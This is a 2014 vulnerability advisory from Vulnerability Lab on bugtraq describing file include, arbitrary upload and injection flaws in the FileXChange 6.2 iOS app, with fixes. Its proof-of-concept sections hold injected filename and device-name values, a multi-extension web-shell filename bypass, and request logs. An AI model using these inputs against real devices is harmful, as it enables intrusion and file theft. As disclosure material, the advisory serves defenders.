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iStArtApp FileXChange v6.2 iOS - Multiple Web Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: iStArtApp FileXChange v6.2 iOS - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 28 Mar 2014 13:03:17 +0100
Document Title:
===============
iStArtApp FileXChange v6.2 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1237
Release Date:
=============
2014-03-26
Vulnerability Laboratory ID (VL-ID):
====================================
1237
Common Vulnerability Scoring System:
====================================
7.4
Product & Service Introduction:
===============================
FileXChange is a handy file manager for iPhone, iPod Touch and iPad. With
FileXChange, you can share files with Mac, Windows, Linux and other iOS
devices,
and use your iPhone, iPod Touch or iPad as a flash memory. With FileXChange,
your iPhone, iPodTouch or iPad becomes a flash-memory drive. You can store
files,
open them on your device or on any MAC or PC, wirelessly, using a simple
internet browser.
(Copy of the Homepage: https://itunes.apple.com/us/app/filexchange/id428955307 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple high severity
vulnerabilities in the official iStArtApp FileXChange v6.2 iOS mobile
application.
Vulnerability Disclosure Timeline:
==================================
2014-03-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
iStArtApp
Product: FileXChange - iOS Mobile Web Application 6.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official
iStArtApp FileXChange v6.2 iOS mobile web-application.
A file include web vulnerability allows remote attackers to unauthorized
include local file/path requests or system specific path
commands to compromise the web-application or mobile device.
The web vulnerability is located in the `filename` value of the `Upload a File`
module. Remote attackers are able to inject own files with
malicious `filename` value in the upload POST method request to compromise the
mobile web-application. The attack vector is persistent and
the request method is POST. The local file/path include execution occcurs in
the main index file dir list. The security risk of the local
file include web vulnerability is estimated as high(+) with a cvss (common
vulnerability scoring system) count of 7.5(+)|(-)7.6.
Exploitation of the local file include web vulnerability requires no user
interaction but a privileged web-application user account with
low user auth. Successful exploitation of the local file include web
vulnerability results in mobile application or connected device
component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload a File > Submit
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
1.2
An arbitrary file upload web vulnerability has been discovered in the official
iStArtApp FileXChange v6.2 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with
multiple extensions to bypass the web-server or system validation.
The vulnerability is located in the `Upload a File` module. Remote attackers
are able to upload a php or js web-shells by renaming the file with
multiple extensions to bypass the file restriction mechanism. The attacker
uploads for example a web-shell with the following name and extension
`test.txt.html.php.js.aspx.txt`. After the upload the attacker needs to open
the file with the path value in the web application. He deletes the
.txt file extension and can access the application with elevated executable
access rights. The security risk of the arbitrary file upload web
vulnerability is estimated as high(+) with a cvss (common vulnerability scoring
system) count of 7.2(+)|(-)7.3.
Exploitation of the arbitrary file upload web vulnerability requires no user
interaction or privileged application user account with password.
Successful exploitation of the vulnerability results in unauthorized file
access because of a compromise after the upload of web-shells.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Select File > Upload
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
1.3
A local command/path injection web vulnerabilities has been discovered in the
official iStArtApp FileXChange v6.2 iOS mobile web-application.
A command inject vulnerability allows attackers to inject local commands via
vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `devicename` value of the wifi
fapplication. Local attackers are able to inject own malicious
system specific commands or path value requests via devicename value. The
injection requires an active sync of the device information by new connections.
The execution of the local command inject via devicename value on sync occurs
in the header loction of all interface sites. The security risk of the local
command/path inject vulnerability is estimated as high(-) with a cvss (common
vulnerability scoring system) count of 5.7(+)|(-)5.8.
Exploitation of the command/path inject vulnerability requires a low privileged
iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution
of system specific commands and unauthorized path value requests to
compromise the mobile iOS application or the connected device components.
Request Method(s):
[+] Sync
Vulnerable Parameter(s):
[+] devicename
Affected Module(s):
[+] Index File Dir List
(http://localhost:8888/x)
[+] All Interface Header Sites
(http://localhost:8888/)
1.4
A local command/path injection web vulnerabilities has been discovered in the
official iStArtApp FileXChange v6.2 iOS mobile web-application.
A command inject vulnerability allows attackers to inject local commands via
vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `foldername` value of the wifi
file dir list module. Local attackers are able to inject own malicious
system specific commands or path value requests in the vulnerable foldername
value. The injection requires an active sync with the wifi app stored folders.
The execution of the local command inject via foldername value on sync occurs
in the file dir index list of the main upload path. The security risk of
the local command/path inject vulnerability is estimated as high(-) with a cvss
(common vulnerability scoring system) count of 5.6(+)|(-)5.7.
Exploitation of the command/path inject vulnerability requires a low privileged
iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution
of system specific commands and unauthorized path value requests to
compromise the mobile iOS application or the connected device components.
Request Method(s):
[+] Sync
Vulnerable Parameter(s):
[+] foldername (path value)
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
[+] Sub Folder/Category File Dir List
(http://localhost:8888/)
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attacker
without user interaction or privileged application user account.
For security demonstration or to reproduce the local web vulnerability follow
the provided information and steps below to continue.
PoC: Filename [Index]
<input name="chk1" type="checkbox"><img src="/tmp/trashCan.gif"
align="absmiddle"> ......
<img src="/tmp/image.gif" align="absmiddle"> <a href="<[./[LOCAL FILE INCLUDE
VULNERABILITY!]>.png]">./[LOCAL FILE INCLUDE VULNERABILITY!]>.png.png</a> -
0.5 Kb, 2014-03-24 12:01:44 <br />
</p><h3>To upload a file, select it and then press
'Submit':</h3><h3><label><input type="file" name="InvioFile"
id="file" size="40"></label></h3><label><input type="submit" value="Submit"
/></label><font size="2" color="white" </a font> <br /><br />
To delete a file or a folder, select its checkbox and press 'Submit'<br
/>Please note that you are allowed to delete one file at a
time.</form></body></html></iframe></a></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1749] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile"; filename="<./[LOCAL FILE
INCLUDE VULNERABILITY!]>.png"
Content-Type: image/png
Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png
Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[1750] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[1750]
Date[Mo., 24 Mär. 2014 12:01:46 GMT]
1.2
The arbitrary file upload web vulnerability can be exploited by remote
attackers without userinteraction or privileged application user account.
For security demonstration or to reproduce the local web vulnerability follow
the provided information and steps below to continue.
PoC: Filename [Index] (extensions|access)
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1749] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile";
filename="test.png.html.php.js.aspx.png"
Content-Type: image/png
Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png
Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[1750] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[1750]
Date[Mo., 24 Mär. 2014 12:01:46 GMT]
1.3
The local command injection web vulnerability can be exploited by local
attackers with physical device access privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow
the provided information and steps below to continue.
PoC: Devicename [Header Location]
<div align="center"><a href="http://www.istartapp.com";><img
src="/tmp/icon_75_stondata.gif" height="75" align="middel">
</a><h1>FileXChange</h1>
<h2>Device: IPhone 360*Â¥337><"><iframe src="a"> - SW: Ver 6.2</h2><div
align="left"><h3>/Work/</h3><form action="" method="post"
enctype="multipart/form-data" name="form1" id="form1"><p><div
align="left"><h2><a href=".."><img src="/tmp/folder_up.gif" height="40"
align="absbottom"/></a></h2>
1.4
The local command injection web vulnerability can be exploited by local
attackers with physical device access privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow
the provided information and steps below to continue.
PoC: Foldername CHK
<a href="><"><./[LOCAL COMMAND INJECT VIA FOLDERNAME VALUE CHK]>/</a>
- 0.1 Kb, 2014-03-23 14:31:29 <br />
<input type="checkbox" name="chk1" /><img
src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img
src="tmp/folder.gif"align="absbottom"/>
<a href="Pictures/">Pictures/</a> - 0.1 Kb, 2014-03-23
14:31:29 <br />
<input type="checkbox" name="chk2" /><img
src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img
src="tmp/folder.gif"align="absbottom"/>
<a href="Work/">Work/</a> - 0.1 Kb, 2014-03-24 11:58:33 <br
/>
</p><h3>To upload a file, select it and then press
'Submit':</h3><h3><label><input type="file" name="InvioFile" id="file"
size="40"></label></h3>
<label><input type="submit" value="Submit" /></label><font size="2"
color="white" </a font> <br /><br />To delete a file or a folder,
select its checkbox and press 'Submit'<br />Please note that you are allowed to
delete one file at a time.</form></body></html></iframe>
Solution - Fix & Patch:
=======================
1.1
The file include web vulnerability can be patched by a secure parse of the
filename value in the POST method upload request.
Parse also the vulnerable index output listing with the filename value to
prevent further execution of injected file requests or path values.
1.2
The arbitrary file upload web vulnerability can be patched by a secure encode
and filter restriction of the filename value.
Disallow multiple extensions of files, encode and parse the filename again.
1.3
The local command injection web vulnerability can be patched by a secure parse
and encode of the vulnerable device name info value.
Encode the sync input of the device name and setup a own secure classe to
encode all output of device information values.
1.4
Parse and encode the foldername value in the add via sync POST method request.
Prepare to encode and filter also the foldername oputput listing in the index-
or sub-dir.
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as
critical.
1.2
The security risk of the arbitrary file upload web vulnerability is estimated
as high.
1.3
The security risk of the first command inject web vulnerability in the device
name value is estimated as high(-).
1.4
The security risk of the second command inject web vulnerability in the
folder/path value via sync is estimated as high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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